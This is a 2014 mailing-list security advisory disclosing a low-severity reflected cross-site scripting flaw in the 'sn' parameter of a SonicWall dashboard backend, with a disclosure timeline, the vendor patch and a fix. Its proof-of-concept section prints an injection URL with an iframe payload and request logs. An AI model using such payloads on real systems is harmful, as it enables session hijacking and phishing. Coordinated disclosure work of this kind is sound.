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SonicWall Dashboard Backend Server - Client Side Cross Site Scripting Web Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: SonicWall Dashboard Backend Server - Client Side Cross Site Scripting Web Vulnerability
- From: Vulnerability Lab <admin@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 06 Mar 2014 11:19:01 +0100
Document Title:
===============
SonicWall Dashboard Backend Server - Client-Side Cross Site Scripting Web
Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1100
Release Date:
=============
2014-03-06
Vulnerability Laboratory ID (VL-ID):
====================================
1100
Common Vulnerability Scoring System:
====================================
2
Product & Service Introduction:
===============================
The SonicWALL® Network Security Appliance (NSA) 2400 is a Unified Threat
Management platform for small- to medium-sized
businesses and branch sites requiring capacity and performance. The NSA 2400
integrates dual-core hardware, SonicWALL
Reassembly-Free Deep Packet Inspection™, intrusion prevention, application
control, and SSL VPN, for real-time
protection without compromising performance.
(Copy of the Vendor Homepage:
http://www.sonicwall.com/de/en/products/NSA_2400.html )
Affected
========
Dashboard Backend Service
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site
scripting web vulnerability in the SonicWall backend servers with which
firewalls communicate.
Vulnerability Disclosure Timeline:
==================================
2013-09-26: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-09-27: Vendor Notification (DELL SonicWall Security Team)
2014-10-06: Vendor Response/Feedback (DELL SonicWall Security Team)
2014-02-18: Vendor Fix/Patch (DELL SonicWall Developer Team)
2014-03-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the
SonicWall backend web-server with which appliance firewalls communicate.
The cross site scripting web vulnerability allows an attacker to manipulate
client-side browser requests through a vulnerable application module/function.
The cross site scripting vulnerability is located in the dashboard.jsp file
when processing to request via GET method manipulated `sn` values.
The injected script code executes on the client-side of the web-application in
the dashboard resource checkbox listing backend.
This issue affects sonicwall backend servers with which firewalls communicate.
The attack vector is non-persistent (client-side) and the request
method is GET. The security risk of the client-side web vulnerability is
estimated as low(+) with a cvss (common vulnerability scoring system)
count of 2.0(+)|(-)2.1.
Exploitation of the client-side web vulnerability requires no privileged
web-application user account but low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking,
client-side phishing, client-side external redirects, malicious
GET method requests and client-side manipulation of the vulnerable or connected
module context.
Request Method(s):
[+] [GET]
Vulnerable Module(s):
[+] stats
Vulnerable File(s):
[+] dashboard.jsp
Vulnerable Parameter(s):
[+] sn
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by
remote attackers without privileged application user account and with
low or medium user interaction. For security demonstration or to reproduce the
issue follow the provided information and steps below to continue.
PoC: Example
http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=[CLIENT-SIDE INJECTED
SCRIPT CODE VIA SN!]%3E&UI=5&vndr=sw
PoC: Module: User Monitor - Backend
http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%3E&UI=5&vndr=sw
Module: User Monitor - Security Dashboard
<form>
<a href="fwl_system_status.html" class="breadcrumb">System/</a><br>
<span class="header">Security Dashboard</span><br>
<table border="0" cellpadding="0" cellspacing="0" width="97%">
<tbody><tr>
<td colspan="2" class="button_row_bg"><img
src="images/gen5/clear.gif" height="1" width="1"></td>
</tr>
<tr>
<td class="button_row_image">View:
<input name="mode" value="g" checked=""
onclick="changeMode(this.value);" type="radio">Global
<input name="mode" value="l"
onclick="changeMode(this.value);" type="radio">>"<[CLIENT-SIDE INJECTED SCRIPT
CODE VIA SN!]">
</td>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=[CLIENT-SIDE INJECTED
SCRIPT CODE VIA SN!]%3E&UI=5&vndr=sw
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[-1]
Mime Type[text/html]
Request Headers:
Host[nsa2400.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Cookie[JSESSIONID=4D8814AAF02212A2D1C234F9C9192644;
__utma=205917072.1209742391.1380320042.1380320042.1380320042.1;
__utmb=205917072.8.10.1380320042; __utmc=205917072;
__utmz=205917072.1380320042.1.1.utmcsr=google|utmccn=(organic)|
utmcmd=organic|utmctr=(not%20provided); s_cc=true; s_sq=%5B%5BB%5D%5D;
curUrl=userMonitor.html;
curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0;
1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0;
1043=0; 1044=0; 1045=0; 1022=true; 1007=applFolder; SessId=null; PageSeed=null]
Connection[keep-alive]
Response Headers:
Server[Apache-Coyote/1.1]
Expires[Sat, 6 May 1995 12:00:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Content-Type[text/html]
Date[Fri, 27 Sep 2013 22:16:36 GMT]
Connection[close]
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the vulnerable
sn value in the backend server application with which the firewall appliances
communicates.
2014-02-18: Vendor Fix/Patch (DELL SonicWall Developer Team)
SonicWall: This issue affects sonicwall backend servers with which firewalls
communicate. Backend servers have been updated with the fix for this issue on
02/18/2014.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is
estimated as low(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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